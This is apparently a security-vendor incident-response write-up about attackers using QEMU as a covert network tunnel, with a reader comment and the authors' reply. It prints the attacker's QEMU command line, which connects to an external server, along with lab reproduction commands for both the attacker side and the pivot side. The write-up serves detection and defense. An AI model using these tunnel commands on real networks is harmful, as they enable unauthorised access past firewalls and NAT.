Cyberattackers tend to give preference to legitimate tools when taking various attack steps, as these help them evade detection systems while keeping malware development costs down to a minimum. Network scanning, capturing a process memory dump, exfiltrating data, running files remotely, and even encrypting drives — all these can be done with trusted software. To gain a foothold inside a compromised infrastructure and develop the attack, adversaries can use previously installed malware or connect to the network along with employees through the company’s RDP servers or corporate VPN (to do this, attackers must have accounts with appropriate privileges). Another way to connect to the internal network of an attacked organization involves using utilities to set up network tunnels or forward network ports between corporate systems and the adversary’s servers, which allows the attackers to bypass NAT and firewalls to gain access to internal systems. It is that category of software that we would like to discuss here.
Statistics
There is currently no shortage of utilities that can be used to set up a network tunnel between two systems. Some of these connect directly, while others use a proxy, which hides the IP address of the attackers’ server. The following are the utilities we have come across while responding to cyberincidents in the last three years.
- Stowaway
- ligolo
- 3proxy
- dog-tunnel
- chisel
- FRP
- ngrok
- gs-netcat
- plink
- iox
- nps
The most frequently used ones were ngrok and FRP. Utilities of this type accounted for 10% of total attacks.
QEMU as a tunneling tool
While investigating an incident at a large company a few months ago, we detected uncommon malicious activity inside one of the systems. We ran an analysis on the artifacts, only to find that the adversary had deployed and launched the following:
- The Angry IP Scanner network scanning utility
- The mimikatz password, hash, and Kerberos ticket extractor, and Active Directory attack tool
- The QEMU hardware emulator
The first two were self-explanatory, but QEMU raised a few questions. What use would the malicious actors have for a virtualizer?
We were able to retrieve the QEMU execution command line from the memory of the compromised machine. We found that it was started without a LiveCD or disk image, which is very unusual for QEMU. These were the arguments that the adversary used to run QEMU:
1 2 3 |
qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=<IP>:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic |
where <IP> was an external IP address.
Let us take a closer look at these arguments.
- -m 1M: Specifies the RAM size to allocate to the virtual machine. This was 1 MB in this case, utterly insufficient for most operating systems.
- -netdev user,id=lan,restrict=off: Creates a virtual network interface with the name lan and type user, which allows the virtual machine to communicate with the outside world through the host network stack. The restrict=off option removes restrictions on inbound and outbound connections.
- -netdev socket,id=sock,connect=<IP>:443: Creates a socket-type network interface with the name sock, which provides a connection to a remote server at the specified IP address and port 443.
- -netdev hubport,id=port-lan,hubid=0,netdev=lan: Adds a port to the virtual hub with hubid=0, which is linked to the virtual network interface lan.
- -netdev hubport,id=port-sock,hubid=0,netdev=sock: Similarly to the above, this adds one more port to the virtual hub linked to the virtual network interface sock.
- -nographic: starts QEMU in non-GUI mode with console output.
The IP address in the arguments grabbed our attention immediately: it was external and completely unrelated to the attacked company, so we consulted the QEMU documentation. We found that QEMU supported connections between virtual machines: the -netdev option creates network devices (backend) that can then connect to the virtual machines. Each of the numerous network devices is defined by its type and supports extra options. Below is a description of the -netdev values that were used.
user (user network stack)
This is the simplest way of connecting a virtual machine to a network. Traffic passes through the host network stack, and the virtual machine connects to the network as if it were a regular app on the host machine.
1 |
qemu-system-x86_64 -netdev user,id=mynet0 -device e1000,netdev=mynet0 |
Here, mynet0 is the network backend ID, and e1000 is a network adapter (frontend) inside the virtual machine.
hubport (virtual hub)
Connects several network devices similarly to a network hub.
socket
This connects virtual machines directly through network sockets to create VM network topologies or link VMs spun up on different hosts.
# VM1
1 |
qemu-system-x86_64 -netdev socket,id=mynet3,listen=:1234 -device e1000,netdev=mynet3 |
# VM2, connected to VM1
1 2 |
qemu-system-x86_64 -netdev socket,id=mynet4,connect=127.0.0.1:1234 -device e1000,netdev=mynet4 |
VM1 listens on port 1234, while VM2 connects to that port. This was the route the attackers took: they launched a “client” in the compromised system and had it connect to their server to open access to the corporate network where the “client” was running. It had next to no effect on the performance of the compromised system, as the adversary was using neither a disk image nor a LiveCD when running QEMU.
We had no way of reliably determining how the attackers ran QEMU on their own server, so we decided to test the technique described above on a bed consisting of three systems:
- InternalHost was located inside the network, with no internet access and running an RDP server on port 3389. It simulated the isolated system without access to the internet.
- PivotHost was located inside the network, but it had internet access. It simulated the system that had been breached by the attackers and used for reaching InternalHost.
- AttackerServer was hosted in the cloud, and it simulated the adversary’s server.
Our aim was to reach InternalHost from AttackerServer. The image below shows the general layout of the tunnel.
We used QEMU on AttackerServer to spin up a VM from a Kali Linux LiveCD. A socket-type network device connected to the VM as a network adapter and listened on port 443.
1 2 |
qemu-system-x86_64 -boot d -cdrom kali-linux-2023.3-live-amd64.iso -m 6048 -device e1000,netdev=n1,mac=52:54:00:12:34:56 -smp 2 -netdev socket,id=n1,listen=:443 |
Another copy of QEMU was running on PivotHost and connecting through the socket network device to port 443 on AttackerServer in the cloud. We also connected a user-type network device, combined with socket through a hub. The QEMU startup options we used were similar to those previously used by the adversary.
1 2 3 |
qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=<AttackerServer>:443 -netdev hubport,id=port- lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic |
Once started, QEMU set up a network tunnel from PivotHost to AttackerServer, or more precisely, to the Kali Linux VM. Kali Linux could scan the subnet to which PivotHost was connected for other systems.
The scan located InternalHost, with the IP address 192.168.56.109. The Nmap utility showed that port 3389 was open. We tried connecting to InternalHost using RDP.
Thus, we were able to ascertain that this technique for achieving network access was indeed effective. In addition to the aforementioned types of network devices, QEMU supports several others, which can also be employed by malicious actors.
QEMU network traffic analysis
QEMU does not use any extra encryption when tunneling traffic. It transmits encapsulated packets unencrypted: the application-level packet data sent to the server contains the size of the encapsulated Ethernet frame (4 bytes, outlined in yellow in the image below), followed by the Ethernet frame itself (outlined in red).
The size of the encapsulated Ethernet frame in the image above is 89 (0x59) bytes. That value is immediately followed by the encapsulated Ethernet frame.
Having a traffic dump, which had been intercepted on PivotHost in that case, we could obtain the encapsulated traffic by removing the first 58 bytes (for TCP: 14 bytes for Ethernet + 20 bytes for IP + 20 bytes for TCP headers + 4 for internal packet size). This could be done with the editcap utility from the Wireshark package after removing all packets that contained no encapsulated traffic from the PCAP file.
1 |
editcap.exe -L -C 58 original.pcap extracted_traffic.pcap |
The result was a PCAP file containing the traffic that had been sent through the tunnel.
Conclusion
Malicious actors using legitimate tools to perform various attack steps is nothing new to incident response professionals. Yet we have to admit that attackers sometimes come up with ingenious applications for unlikely software, as was the case with QEMU. This further supports the concept of multi-level protection, which covers both reliable endpoint protection, and specialized solutions for detecting and protecting against complex and targeted attacks including human-operated ones. Only comprehensive security that includes 24/7 network (NDR, NGFW) and endpoint (EDR, EPP) monitoring, by SOC experts for one, can detect anomalies in a timely manner and block an attack in its initial stage. Our MDR service is already capable of detecting the kind of suspicious QEMU activity in question, and appropriate IDS rules have been added to the KATA platform with the verdict Backdoor.Agent.QEMU.C&C.
Network tunneling with… QEMU?
OISecure
wonderful concept, but how did you make QEMU run on the pivot server on internal network?
what about firewall and authentication for RDP and else? the pivot server did not set behind the same firewall.
Securelist
Hi OISecure!
Thank you for the question! We created a test environment to make sure that this tunneling method actually works. We executed QEMU on PivotHost manually, and we had passwords for the InternalHost. Our goal was to test QEMU network tunneling capability (without bypassing any security measures). Of course, in a real environment with properly configured modern firewall, this method might not work (but remember that we’ve seen this usage of QEMU in a real attack, and it worked flawlessly).